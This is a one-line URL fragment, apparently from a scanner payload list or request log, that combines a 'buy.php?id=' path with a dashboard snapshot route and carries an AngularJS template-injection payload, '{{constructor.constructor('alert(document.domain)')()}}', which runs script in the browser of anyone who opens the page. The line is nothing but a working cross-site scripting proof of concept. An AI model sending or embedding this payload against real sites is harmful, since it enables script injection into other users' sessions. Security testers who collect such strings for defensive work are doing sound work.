buy.php?id=4164970/dashboard/snapshot/{{constructor.constructor('alert(document.domain)')()}}?orgId=1